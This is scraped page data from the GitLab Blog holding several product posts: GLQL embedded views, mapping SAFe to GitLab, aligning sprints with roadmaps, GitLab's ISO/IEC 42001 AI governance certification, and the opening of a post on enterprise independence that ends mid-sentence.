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on the GitLab Blog",{"name":741},{"template":676,"slug":745,"hide":6},"news","content:en-us:blog:categories:news.yml","en-us/blog/categories/news.yml","en-us/blog/categories/news",{"_path":750,"_dir":670,"_draft":6,"_partial":6,"_locale":7,"seo":751,"content":754,"config":755,"_id":757,"_type":16,"title":752,"_source":17,"_file":758,"_stem":759,"_extension":20},"/en-us/blog/categories/open-source",{"title":752,"description":753},"Open Source","Browse articles related to Open Source on the GitLab Blog",{"name":752},{"template":676,"slug":756,"hide":6},"open-source","content:en-us:blog:categories:open-source.yml","en-us/blog/categories/open-source.yml","en-us/blog/categories/open-source",{"_path":761,"_dir":670,"_draft":6,"_partial":6,"_locale":7,"seo":762,"content":764,"config":765,"_id":767,"_type":16,"title":90,"_source":17,"_file":768,"_stem":769,"_extension":20},"/en-us/blog/categories/product",{"title":90,"description":763},"Browse articles related to Product on the GitLab Blog",{"name":90},{"template":676,"slug":766,"hide":6},"product","content:en-us:blog:categories:product.yml","en-us/blog/categories/product.yml","en-us/blog/categories/product",{"_path":771,"_dir":670,"_draft":6,"_partial":6,"_locale":7,"seo":772,"content":774,"config":775,"_id":777,"_type":16,"title":125,"_source":17,"_file":778,"_stem":779,"_extension":20},"/en-us/blog/categories/security",{"title":125,"description":773},"Browse articles related to Security on the GitLab Blog",{"name":125},{"template":676,"slug":776,"hide":6},"security","content:en-us:blog:categories:security.yml","en-us/blog/categories/security.yml","en-us/blog/categories/security",[781,825,862,899,939,981,1020,1060,1099,1137],{"category":672,"slug":677,"posts":782},[783,800,814],{"content":784,"config":797},{"title":785,"description":786,"authors":787,"date":791,"body":792,"category":677,"tags":793,"heroImage":796},"Embedded views: The future of work tracking in GitLab","Learn how embedded views, powered by GitLab Query Language, help GitLab teams work more efficiently, make data-driven decisions, and maintain visibility across complex workflows.",[788,789,790],"Matthew Macfarlane","Himanshu Kapoor","Alex Fracazo","2025-08-21","Ever find yourself switching between tabs in GitLab just to keep track of\nwhat’s happening in your project? Maybe you’re checking on an issue, then\njumping to a merge request, then over to an epic to see how everything\nconnects. Before you know it, you’ve got a browser full of tabs and you’ve\nlost your train of thought.\n\nIf that sounds familiar, you’re definitely not alone. So many teams waste time and energy flipping through various items in their project management software, just trying to get a handle on their work.\n\nThat's why we created [embedded views](https://docs.gitlab.com/user/glql/#embedded-views), powered by [GitLab Query Language (GLQL)](https://docs.gitlab.com/user/glql/). With embedded views, [available in 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/), you get live, relevant information right where you’re already working in GitLab. No more endless context switching. No more outdated reports. Just the info you need, right when you need it.\n\n## Why embedded views matter\n\nEmbedded views are more than just a new feature, they're a fundamental shift in how teams understand and track their work within GitLab. With embedded views, teams can maintain context while accessing real-time information, creating shared understanding, and improving collaboration without ever leaving their current workflow. It’s about making work tracking feel natural and effortless, so you can focus on what matters.\n\n## How it works: Real-time data right where you need it the most\n\nEmbedded views let you insert live GLQL queries in Markdown code blocks throughout wiki pages, epics, issues, and merge requests. Here's what makes them so useful:\n\n### Always up to date\n\nGLQL queries are dynamic, pulling fresh data each time the page loads, so your embedded views always reflect the current state of your work, not the state when you embedded the view. When changes happen to issues, merge requests, or milestones, a page refresh will show those updates in your embedded view.\n\n### Contextual awareness\n\nUse functions like `currentUser()` and `today()` to make queries context-specific. Your embedded views automatically adapt to show relevant information for whoever is viewing them, creating personalized experiences without manual configuration.\n\n### Powerful filtering\n\nFilter by fields like assignee, author, label, milestone, health status, creation date, and more. Use logical expressions to get exactly the data you want. We support more than 30 fields as of 18.3.\n\n### Customizable display\n\nYou can display your data as a table, a list, or a numbered list. Choose which fields to show, set a limit on the number of items, and specify the sort order to keep your view focused and actionable.\n\n### Availability\n\nYou can use embedded views in group and project wikis, epic and issue descriptions, merge requests, and comments. GLQL is available across all GitLab tiers: Free, Premium, and Ultimate, on GitLab.com, GitLab Self-Managed, and GitLab Dedicated. Certain functionality, such as displaying epics, status, custom fields, iterations, and weights, is available in the Premium and Ultimate tiers. Displaying health status is available only in Ultimate.\n\n## See embedded views in action\n\nThe syntax of an embedded view's source is a superset of YAML that consists of:\n\n* The `query` parameter: Expressions joined together with a logical operator, such as `and`.\n* Parameters related to the presentation layer, like `display`, `limit`, or `fields`, `title`, and `description`\n  represented as YAML.\n\nA view is defined in Markdown as a code block, similar to other code blocks like Mermaid.\n\nFor example:\n\n> Display a table of first 5 open issues assigned to the authenticated user in `gitlab-org/gitlab`.\n> Display columns `title`, `state`, `health`, `description`, `epic`, `milestone`, `weight`, and `updated`.\n\n````yaml\n```glql\ndisplay: table\ntitle: GLQL table 🎉\ndescription: This view lists my open issues\nfields: title, state, health, epic, milestone, weight, updated\nlimit: 5\nquery: project = \"gitlab-org/gitlab\" AND assignee = currentUser() AND state = opened\n```\n````\n\nThis source should render a table like the one below:\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png)\n\nAn easy way to create your first embedded view is to navigate to the **More options** dropdown in the rich text editor toolbar. Once in this toolbar, select **Embedded view**, which populates the following query in a Markdown code block:\n\n````yaml\n```glql\nquery: assignee = currentUser()\nfields: title, createdAt, milestone, assignee\ntitle: Issues assigned to current user\n```\n````\n\nSave your changes to the comment or description where the code block appears, and you're done! You've successfully created your first embedded view!\n\n## How GitLab uses embedded views\n\nWhether tracking merge requests targeting security releases, triaging bugs to improve backlog hygiene, or managing team onboarding and milestone planning, we rely on embedded views for mission-critical processes every day. This isn't just a feature we built, it's a tool we depend on to run our business effectively. When you adopt embedded views, you're getting a tested solution that's already helping GitLab teams work more efficiently, make data-driven decisions, and maintain visibility across complex workflows. Simply stated, embedded views can transform how your team accesses and analyzes the work that matters most to your success.\n\nTo learn and see more about how GitLab is using embedded views internally, check out [How GitLab measures Red Team impact: The adoption rate metric](https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/), and Global Search Release Planning issues for the [18.1](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239), [18.2](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241), and [18.3](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245) milestones.\n\n## What's next\n\nEmbedded views are just the start of [Knowledge Group's](https://about.gitlab.com/direction/plan/knowledge/) vision for work tracking. Learn more about what we're focusing on next in the [embedded views post-GA epic](https://gitlab.com/groups/gitlab-org/-/epics/15249). As embedded views evolve we're committed to making them even more powerful and [accessible](https://gitlab.com/gitlab-org/gitlab/-/issues/548722).\n\n## Share your experience\n\nShare your feedback in the [embedded views GA feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/509792). Whether you've discovered innovative use cases, encountered challenges, or have ideas for improvements, we want to hear from you.\n",[794,486,795],"agile","workflow","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099072/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750099072322.png",{"featured":6,"template":798,"slug":799},"BlogPost","embedded-views-the-future-of-work-tracking-in-gitlab",{"content":801,"config":812},{"title":802,"description":803,"authors":804,"heroImage":806,"date":807,"body":808,"category":677,"tags":809},"SAFe without silos in GitLab","Learn how to map the Scaled Agile Framework to the native capabilities of the DevSecOps platform and the advantages that come from doing so.",[805],"Amanda Rueda","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097569/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_2hcwWx49wQ7CHfvhhkVH6S_1750097569126.png","2025-04-08","Let's talk about what happens when your organization adopts the Scaled Agile Framework (SAFe) to scale to enterprise levels. You've got multiple teams working on complex products, and you need a way to coordinate all that work. But here's a common headache: Your planning happens in one tool, while your actual development work lives somewhere else entirely.\n\nThis divide creates real problems day-to-day. Developers jump between systems constantly. Product managers struggle to get an accurate picture of progress. And everyone wastes time manually copying information from one place to another. It's precisely the kind of disjointed experience that SAFe was designed to eliminate.\n\nWhile your development teams might already be using GitLab for source code management, CI/CD, and security, you may wonder whether GitLab can also support your planning needs within the SAFe framework. The good news is that GitLab's Agile project management capabilities offer strong support for SAFe, in this article, you'll learn how GitLab maps to SAFe concepts and ceremonies, all within the same DevSecOps platform your software developers already know and love.\n\n## What is SAFe?\n\nSAFe, or the Scaled Agile Framework, is a way to bring Agile principles to large organizations without losing speed, alignment, or customer focus. It takes the iterative and flexible teamwork model of small teams and applies its principles across big organizations that have multiple teams, roadmaps, and stakeholders. This brings the organization into alignment, all planning and executing in the same direction. For product managers, SAFe helps connect strategy to execution so you’re not just shipping fast, you’re shipping the right things, backed by clear priorities and cross-team alignment.\n\nSAFe reduces silos, encourages collaboration, and helps teams rally around customer outcomes, not just tasks. When integrated in GitLab, the magic really happens: visibility, traceability, and delivery all live in one place.\n\n## SAFe terminology in GitLab\n\nFirst, let's establish how SAFe concepts map to GitLab:\n\n| SAFe | GitLab |\n| :---- | :---- |\n| Epic | Top-level Epic |\n| Capability | Sub-epic (Level 1) |\n| Feature | Sub-epic (Level 2) |\n| User Story | Issue |\n| Task | Task |\n| Team | Custom Field / Scoped Label |\n| Sprint | Iteration |\n| Program Increment (PI) | Milestone |\n| Value Stream | Top-level Group |\n| Agile Release Train (ART) | Top-level Group |\n\n\u003Cbr>\u003C/br>\n\nWith this mapping as your guide, you can set up GitLab to mirror your SAFe implementation. The group structure lets you organize around your value streams and ARTs, while the work item hierarchy (with up to seven levels of nested epics!) gives you all the depth you need for complex product portfolios. Whether you're working at the portfolio level (with top-level groups), program level (with subgroups), or team level (with projects), GitLab's organizational structure aligns perfectly with SAFe's hierarchy.\n\n## Supporting SAFe ceremonies in GitLab\n\nNow for the fun part - how do you actually run your SAFe ceremonies in GitLab? Let's walk through each one.\n\n### PI planning\n\nTo facilitate the cross-team alignment and dependency management that makes PI planning successful, GitLab offers several capabilities:\n\n* Use the [Roadmap](https://docs.gitlab.com/user/group/roadmap/) view to visualize features across teams and time periods\n* Assign features to the PI [milestone](https://docs.gitlab.com/user/project/milestones/)\n* Document and visualize cross-team [dependencies](https://docs.gitlab.com/user/project/issues/related_issues/#blocking-issues) as they're identified\n\nGitLab gives you flexibility for PI planning through both the Epic boards (which can be configured to show team assignments) and the Roadmap view (which shows features over time like a Gantt chart). You can switch between these views during your planning session depending on whether you're focusing on the timeline or team organization.\n\n![Roadmap view and epic board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097576746.gif)\n\n\u003Cbr>\u003C/br>\n\n![Roadmap view with Gantt chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097576747.png)\n\n### Refinement\n\nAs a product manager, running effective refinement sessions means having clear visibility into your feature backlog. You can run your refinement session right inside GitLab. No more updating one tool during the meeting and then having to update another tool afterward.\n\nGitLab powers refinement sessions with:\n\n* [Epic boards](https://docs.gitlab.com/user/group/epics/epic_boards/) that group features based on status\n* The ability to view story points directly in the [overview](https://docs.gitlab.com/user/group/epics/epic_boards/#view-count-of-issues-weight-and-progress-of-an-epic)\n* Comprehensive [drawer views](https://docs.gitlab.com/user/group/epics/manage_epics/#open-epics-in-a-drawer) that let you interact with work items without losing context\n* The ability to create and link [child issues](https://docs.gitlab.com/user/group/epics/manage_epics/#add-an-issue-to-an-epic) directly from epics\n\n![SAFe - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097576749.gif)\n\n### Sprint planning\n\nWhen it's time to figure out what your team can tackle in the next sprint, GitLab gives you:\n\n* [Issue boards](https://docs.gitlab.com/user/project/issue_board/) that provide a comprehensive view of your backlog\n* [Total weight](https://docs.gitlab.com/user/project/issue_board/#sum-of-issue-weights) of user stories displayed directly on boards\n* The ability to easily move issues between iterations\n* A collapsible view that simplifies moving stories between sprints\n\nThis means you can keep everything in one place and spend your planning meetings actually planning instead of jumping between tools.\n\n![Sprint planning with GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097576751.gif)\n\n*💡 Check out [this tutorial on using GitLab to facilitate Scrum](https://docs.gitlab.com/tutorials/scrum_events/) for a detailed glimpse into the power of GitLab in Agile planning and sprint tracking.*\n\n### Daily stand-ups\n\nYour team can gather around the board during daily stand-ups and actually see what everyone's working on, what's stuck, and what's ready for review – all in one view. For your dev team's daily stand-ups, GitLab lets you:\n\n* Create [iteration-scoped](https://docs.gitlab.com/user/project/issue_board/#iteration-lists) boards that show the current sprint's work\n* Display story points/weights directly on cards\n* Use the [drawer view](https://docs.gitlab.com/user/project/issues/managing_issues/#open-issues-in-a-drawer) to access details without leaving the context\n* Highlight tasks at risk through [health status](https://docs.gitlab.com/user/project/issues/managing_issues/#health-status)\n\n![Daily stand-up board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097576755.png)\n\n### Sprint review\n\nWant to know how your team is doing over time? GitLab provides comprehensive metrics with:\n\n* [Burndown and burnup charts](https://docs.gitlab.com/user/group/iterations/#iteration-burndown-and-burnup-charts) for iterations\n* Velocity tracking\n* [Lead and cycle time](https://docs.gitlab.com/user/group/value_stream_analytics/#lifecycle-metrics) metrics\n* Dashboards that can be scoped to teams\n\nThese metrics help you understand if your team is getting faster, where they're getting stuck, and what you might want to talk about in your next retrospective.\n\n![Burndown and burnup charts](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097576758.png)\n\n## 5 reasons a unified platform provides an advantage\n\nI know there are plenty of planning tools that can handle SAFe ceremonies. But there are game-changing reasons why I genuinely believe GitLab is different:\n\n1. **No more context switching** - Your planning, coding, testing, and security all happen in one place.\n2. **Everything's connected** - You can trace work from the big epic down to the code and deployment.\n3. **Everyone's on the same page** - Developers, product folks, and security teams all work together in the same tool.\n4. **Total visibility** - Stakeholders have one place to check for updates.\n5. **The full picture** - You see planning and development metrics together, so you know what's really going on.\n\nIf your dev teams already love GitLab, why make them jump to another tool for planning or create some complex, cobbled-together integrations? Bringing your SAFe planning into GitLab creates a much smoother experience for everyone.\n\n## Implementation principles\n\nI've worked with teams transitioning from traditional SAFe tools to GitLab, and here's what I've learned: Focus on **what each ceremony is trying to accomplish**, not on recreating exact replicas of your old tools.\n\nThe teams that get the most out of GitLab are the ones who embrace its native capabilities instead of fighting against them. Yes, it takes some initial work to figure out how to map your SAFe concepts and set up your workflows. But once you do, you'll find your processes actually get simpler rather than more complex.\n\nThe key is defining conventions that everyone follows. Which labels mean what? How will you track teams? What goes in an epic versus an issue? With a little upfront investment in these decisions, you'll end up with an intuitive system that eliminates all that cross-tool coordination overhead.\n\n## Getting started\n\nReady to give this a shot? Here's how to start implementing SAFe in GitLab:\n\n1. **Set up your structure** - Create groups and subgroups that [match your organization](https://about.gitlab.com/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/).\n2. **Define your work breakdown** - Decide how you'll use [epics](https://about.gitlab.com/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management/), [issues](https://docs.gitlab.com/user/project/issues/managing_issues/), and [tasks](https://docs.gitlab.com/user/tasks/).\n3. **Create your iterations** - Set up your [sprint schedule](https://docs.gitlab.com/user/group/iterations/#create-an-iteration-cadence).\n4. **Add your milestones** - [Milestones](https://docs.gitlab.com/user/project/milestones/#create-a-milestone) will represent your Program Increments in GitLab.\n5. **Build your boards** - Create different views for different ceremonies.\n6. **Agree on conventions** - Document how you'll use labels and custom fields.\n\nTaking time to think through these decisions upfront will save you many headaches later. And remember, you don't have to perfect it on day one - you can always adjust as you learn.\n\n## Bringing it all together\n\nGitLab gives you a solid foundation for running SAFe, especially if your dev teams are already GitLab fans. When you bring planning and development into the same tool, you eliminate those painful handoffs, make collaboration way easier, and get everything moving faster.\n\nThe beauty of GitLab's planning tools is that they're flexible enough to adapt to your specific flavor of SAFe. You're not locked into rigid workflows - you can evolve your approach as your teams mature and your needs change.\n\n> Ready to see how much better life is without those planning silos? [Start your free trial today](https://about.gitlab.com/free-trial/) and experience firsthand how GitLab can transform your SAFe implementation.\n\n*💡 If you liked this topic check out this related post - [GitLab for Agile Software Development](https://about.gitlab.com/blog/gitlab-for-agile-software-development/)*\n",[794,486,810,766,811],"features","tutorial",{"slug":813,"featured":91,"template":798},"safe-without-silos-in-gitlab",{"content":815,"config":823},{"title":816,"description":817,"authors":818,"heroImage":819,"date":820,"body":821,"category":677,"tags":822},"How to harmonize Agile sprints with product roadmaps","Apply best practices and GitLab features to your product journey, including creating centralized roadmaps, conducting review sessions, and tracking sprint lifecycles.",[805],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097231/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2821%29_2pdp2MNB7SoP4MhhiI1WIa_1750097230664.png","2025-02-04","Picture this: Product and Development teams are working in isolation. Product has created a 12-month roadmap and communicated it to internal stakeholders but didn't review it with their development team. Dev starts building the features planned for the upcoming sprint without considering the broader product roadmap, leading to missed opportunities to optimize timing, like running projects in parallel, accounting for team capacity, or building reusable APIs that could serve multiple initiatives. The lack of coordination results in inefficiencies and delayed value delivery.\n\nBalancing short-term wins with long-term vision isn’t easy; it requires clear communication, aligned priorities, and the right tools. In this guide, you'll learn strategies to help harmonize your Agile sprints with strategic roadmaps, tackle common challenges, and uncover actionable solutions tailored to your teams.\n\n## The importance of a single source of truth\n\nA consistent single source of truth for roadmaps with longer-range goals ensures you and your teams have access to up-to-date information about the bigger picture. In practice, this means maintaining a single, regularly updated platform where all roadmap details reside rather than keeping versions of the roadmap across multiple formats, each typically with slightly different information, causing a misaligned understanding of where you're headed.\n\n### Create a centralized roadmap\n\nBy creating a centralized roadmap for your team, you can:\n\n* communicate long-range strategy\n* minimize miscommunication\n* facilitate cross-functional alignment\n* quickly adapt to changes without losing context\n* self-serve information, reducing dependency on a single point of contact who retains the information\n\n***GitLab tip**: Use [epics](https://docs.gitlab.com/ee/user/group/epics/) and [Roadmap view](https://docs.gitlab.com/ee/user/group/roadmap/) to support both product planning and the transparent monitoring of delivery. The Roadmap view allows you to track progress, identify bottlenecks, and ensure alignment between high-level goals and sprint-level execution.*\n\n![Roadmap view for group](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097239117.png)\n\n## Collaborative roadmap review practices\n\nEstablish a regular review and sign-off process for roadmap updates that include Product, Engineering, and UX as part of the [product trio](https://www.producttalk.org/product-trio/). Collaborative reviews help you maintain alignment and minimize risk. At GitLab, I meet with my engineering manager and UX designer monthly to review and obtain sign-offs on any changes. We maintain a running sign-off on the roadmap wiki page itself that holds us accountable for keeping the schedule and provides transparency to the rest of the organization.\n\n#### How to extract value from review sessions\n\nTo make the most of the review session, aim for the following best practices:\n\n* Schedule routine reviews, monthly or quarterly, depending on how frequently the roadmap tends to fluctuate at your organization.\n* Validate alignment between product goals, UX lead time, and technical feasibility by discussing potential risks and dependencies upfront.\n  * Validate that the roadmap reflects current organizational business objectives.\n  * Ensure that design timelines are realistic and consider research or validation needs.\n  * Confirm that the roadmap allocates time for technical preparation, such as technical spikes or investigations, and ensures alignment with broader engineering priorities.\n* Optimize team utilization by considering capacity constraints and ensuring the sequence of work aligns with the team’s skill profile. This includes avoiding periods of underutilization or skill mismatches while effectively planning for situations like staffing level drops during holidays.\n* Right-size scope and set appropriate expectations about what can be achieved. We all want to do it all, but perfection is the enemy of progress so prioritize what truly matters to deliver incremental value efficiently. Seek opportunities to optimize by identifying ways to iterate or increase velocity, such as adjusting the order of work to reduce dependencies or leveraging reusable components to streamline development.\n* Encourage open dialogue about trade-offs and priorities to ensure all perspectives are considered. This collaborative approach helps identify creative solutions to challenges and builds consensus on the best path forward.\n\n***GitLab tip**: Use a [GitLab Wiki](https://docs.gitlab.com/ee/user/project/wiki/) page to complement the [Roadmap](https://docs.gitlab.com/ee/user/group/roadmap/) feature. In the wiki, you can include expanded context about your product roadmap, such as business rationale, links to user research, RICE scores, and details about dependencies or risks. Link directly to the roadmap for easy access, and leverage the upcoming discussion threads feature to encourage async collaboration and feedback from your team.*\n\n![PlanFlow product roadmap](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097239118.png)\n\n## Continuous direction validation and progress measurement\n\nThe goal of a product roadmap isn’t just to stay on track – it’s to deliver real value to your customers. To make space for sharing ongoing user feedback and behavioral data consider incorporating regular touchpoints across your product trio outside of sprint cycles. These sessions can be used to review insights, analyze trends, and ensure that the product roadmap continues to reflect the evolving needs of your users. By grounding roadmap updates using real user insights, you’re not only delivering on outcomes but also adapting to what really matters to your customers.\n\nThe value you ship might come in the form of improved usability, reduced technical debt, or entirely new capabilities. When the product trio is aligned on the roadmap vision, they’re also aligned on the outcomes you’re working to achieve.\n\nTo measure whether you’re on track to deliver those outcomes, you need to closely scope the intended results. Scope creep, like late user story additions, can delay your ability to ship value. Additionally, it’s important to identify work that was delivered but doesn’t align with the roadmap and understand why.\n\n### Sprint planning\n\nRemaining aligned with your product roadmap starts with thoughtful sprint planning. Here are some best practices to keep your team on track and focused on delivering value:\n\n* Clearly define, and narrowly scope, desired outcomes to ensure high confidence in delivery.\n* Identify potential late additions or adjustments that could delay delivery, and build in buffers to maintain focus.\n* Align on the sequence of work with your team to optimize for capacity, skill profiles, and reducing dependencies.\n* To maintain focus and improve confidence of delivering on time, avoid planning to 100% of the team’s capacity. Leave room (10%-20%) for unknowns or new discoveries that may surface during the sprint.\n\n### During the sprint\n\nStaying aligned with your roadmap during the sprint requires focus, communication, and constant evaluation. While delivering value is the goal, it’s equally important to ensure the work in progress aligns with the outcomes you’ve scoped and planned.\n\n* Continuously validate the work in progress against roadmap outcomes to ensure every sprint contributes to the bigger picture.\n* Encourage the team to regularly check if they’re still working toward the intended goals and outcomes.\n* Maintain open communication throughout the sprint. Use daily standups or async updates to surface risks, unplanned work, or dependencies early and adjust where necessary.\n* Be ruthless about protecting the sprint. While the urge to solve emerging problems is natural, unplanned work should be carefully evaluated to avoid derailing agreed-upon priorities.\n* Proactively manage scope creep. If new work surfaces mid-sprint, assess whether it aligns with the current roadmap outcome’s narrowly scoped focus. While additional ideas or features may align conceptually with the broader outcome, they may not fit into the immediate plan to deliver value as soon as possible. Document these suggestions and evaluate if they should be considered as part of future iterations or as a nice-to-have for the future, rather than introducing them into the current sprint and delaying agreed-upon priorities.\n\n### Sprint retros\n\nIn your sprint retrospectives, take time to reflect with your team on how well you are collectively progressing toward your desired outcomes. Questions to ask:\n\n* Did any unplanned work get introduced during the sprint that delayed your ability to deliver value? Identify why it happened and what adjustments can be made.\n* Did you deliver any work that deviated from the roadmap? Discuss what led to this and what you can learn for future planning.\n\nFrom sprint planning through retrospectives, staying focused on delivering tangible outcomes to users and stakeholders is a team responsibility. By aligning every step of the way, you ensure that your roadmap remains a clear guide for delivering value efficiently and consistently.\n\n***GitLab tip:** Use [burndown charts](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html) to visualize progress and detect deviations early, helping your team stay focused on delivering outcomes.*\n\n![Burndown chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097239120.png)\n\n## Delivering roadmap outcomes with confidence\n\nHarmonizing Agile sprints with strategic roadmaps requires intentionality, team buy-in, and the proper tools. By creating a roadmap single source of truth, fostering collaborative reviews, and measuring progress towards outcomes, you can align execution with vision. With GitLab’s robust planning features, teams can turn challenges into opportunities for innovation and growth.\n\nReady to align your sprints with your strategic roadmap? [Start a free trial of GitLab](https://about.gitlab.com/free-trial/) today and explore the tools that can help you deliver outcomes with confidence.\n\n## Learn more\n\n- [Agile planning content hub](https://about.gitlab.com/blog/categories/agile-planning/)\n- [GitLab’s new Planner role for Agile planning teams](https://about.gitlab.com/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams/)\n- [Get to know the GitLab Wiki for effective knowledge management](https://about.gitlab.com/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/)",[794,811,795,486],{"slug":824,"featured":91,"template":798},"how-to-harmonize-agile-sprints-with-product-roadmaps",{"category":684,"slug":688,"posts":826},[827,839,851],{"content":828,"config":837},{"title":829,"description":830,"authors":831,"heroImage":833,"date":834,"body":835,"category":688,"tags":836},"GitLab achieves ISO/IEC 42001 certification for AI governance","Learn about this new ISO certification, our associated GitLab Duo features, and our commitment to responsible AI development.",[832],"Davoud Tu","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098208/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_479904468%20%281%29_4lmOEVlaXP0YC3hSFmOw6i_1750098208185.jpg","2025-09-02","Artificial intelligence (AI) is transforming how we work and solve problems across every industry. As AI becomes more integrated into business processes and decision-making, the need for robust AI governance frameworks has never been more critical. Organizations must balance the potential opportunity of AI with ensuring AI systems are built safely, ethically, and with accountability.\n\nAs part of our commitment to responsible AI management, we're excited to announce that GitLab has achieved the ISO/IEC 42001 certification, the first internationally recognized standard for establishing, implementing, maintaining, and continually improving an Artificial Intelligence Management System (AIMS) within organizations. \n\nThe scope of the certification includes our comprehensive AI offering, GitLab Duo, as well as GitLab Duo Agent Platform and its components. As a leader in DevSecOps, GitLab provides AI-powered features across the development lifecycle, including capabilities such as:\n\n* [GitLab Duo Agent Platform](https://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/) (now in public beta, general availability planned for later this year): Enables asynchronous collaboration between developers and specialized AI agents throughout the software development lifecycle, helping transform linear development processes into dynamic, parallel workflows while providing agents with access to all of the software engineering context stored within GitLab's unified platform.\n\n* [Code Suggestions](https://docs.gitlab.com/user/project/repository/code_suggestions/) (generally available): Allows developers to stay in flow by predictively completing code blocks, defining function logic, generating tests, and proposing common code like regex patterns, all in the same environment where they already code.\n\n* [Vulnerability Explanation](https://docs.gitlab.com/user/application_security/vulnerabilities/#explaining-a-vulnerability) (generally available): Helps developers and security analysts understand vulnerabilities, how they might be exploited, and how to fix them.\n\n* [Test Generation](https://docs.gitlab.com/user/gitlab_duo/) (generally available): Creates tests automatically for selected code, improving coverage and reducing manual effort.\n\n## What this certification means for GitLab users\n\n**Enhanced trust and transparency:** Our AI features are built and managed according to globally recognized best standards for AI governance, supporting reliability and ethical implementation.\n\n**Strategic risk management:** We've implemented risk assessment and risk treatment strategies for AI components within our platform, considering aspects such as operational business continuity risks, technical risks, security and privacy risks, and broader societal implications. This proactive approach enhances customer data protection and facilitates more reliable AI-powered features.\n\n**Continuous improvement:** Under the ISO/IEC 42001 framework, we will work to continuously evaluate and enhance our AI capabilities through annual external surveillance audits, regular internal assessments, and leadership AIMS review while maintaining standards of quality and responsibility.\n\n**Regulatory alignment:** As AI regulations continue to evolve globally, like the EU AI Act, this certification supports GitLab's alignment with emerging regulatory requirements.\n\nThis achievement validates GitLab's position as the trusted platform for AI-powered DevSecOps, and we are excited to continue leading the way in responsible AI innovation.\n\n## Learn more\n\n- View the ISO/IEC 42001 certificate at the [GitLab Trust Center](https://trust.gitlab.com/).\n- Read about our [AIMS in our handbook](https://handbook.gitlab.com/handbook/security/isms/).\n- Check out the [GitLab AI Transparency Center](https://about.gitlab.com/ai-transparency-center/).\n- Explore all [GitLab Duo features and capabilities](https://docs.gitlab.com/user/gitlab_duo/) in our documentation.",[745,684,766],{"featured":91,"template":798,"slug":838},"gitlab-achieves-iso-iec-42001-certification-for-ai-governance",{"content":840,"config":849},{"title":841,"description":842,"authors":843,"date":834,"body":845,"category":688,"tags":846,"heroImage":848},"Why enterprise independence matters more than ever in DevSecOps","As leaders question who controls their development infrastructure, GitLab's independence and transparency advantages have never been more relevant.\n",[844],"Robin Schulman","For over a decade, GitLab has been committed to transparency, independence, and putting developers first. Today, as the industry evolves, this matters more than ever. Enterprise leaders are asking critical questions: Who ultimately controls your development infrastructure? How is your code being used in AI systems? What happens when vendor priorities shift away from your critical requirements?\n\nLast month, [we announced GitLab 18.3](https://about.gitlab.com/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/), the latest release of our AI-native DevSecOps platform. Agent Insights, part of GitLab Duo Agent Platform, provides visibility into agent decision-making processes. Expanded AI model support means no vendor lock-in. Enhanced governance controls help enable compliance across multiple jurisdictions.\n\nThese aren't just features. They're demonstrations of the transparency, independence, and developer-first approach that defines GitLab. Here's how this strategy translates into practice.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1115249475?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Who is GitLab_Robin_090225_FINAL\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## AI transparency across the DevSecOps lifecycle\n\n**At GitLab, our decade-long commitment to transparency directly addresses these concerns.** As artificial intelligence becomes increasingly integrated into development workflows, organizations are rightfully concerned about how their code and data are being used for AI training.\n\nThe GitLab [AI Transparency Center](https://about.gitlab.com/ai-transparency-center/), launched in April 2024, provides clear documentation of our data governance practices, privacy protections, and ethical AI principles. Unlike platforms that may operate AI features with unclear data usage policies, GitLab prioritizes transparency so that customers  can understand [exactly how their data is processed](https://docs.gitlab.com/user/gitlab_duo/data_usage/), stored, and protected — with no training on that data.\n\nOur approach extends to model 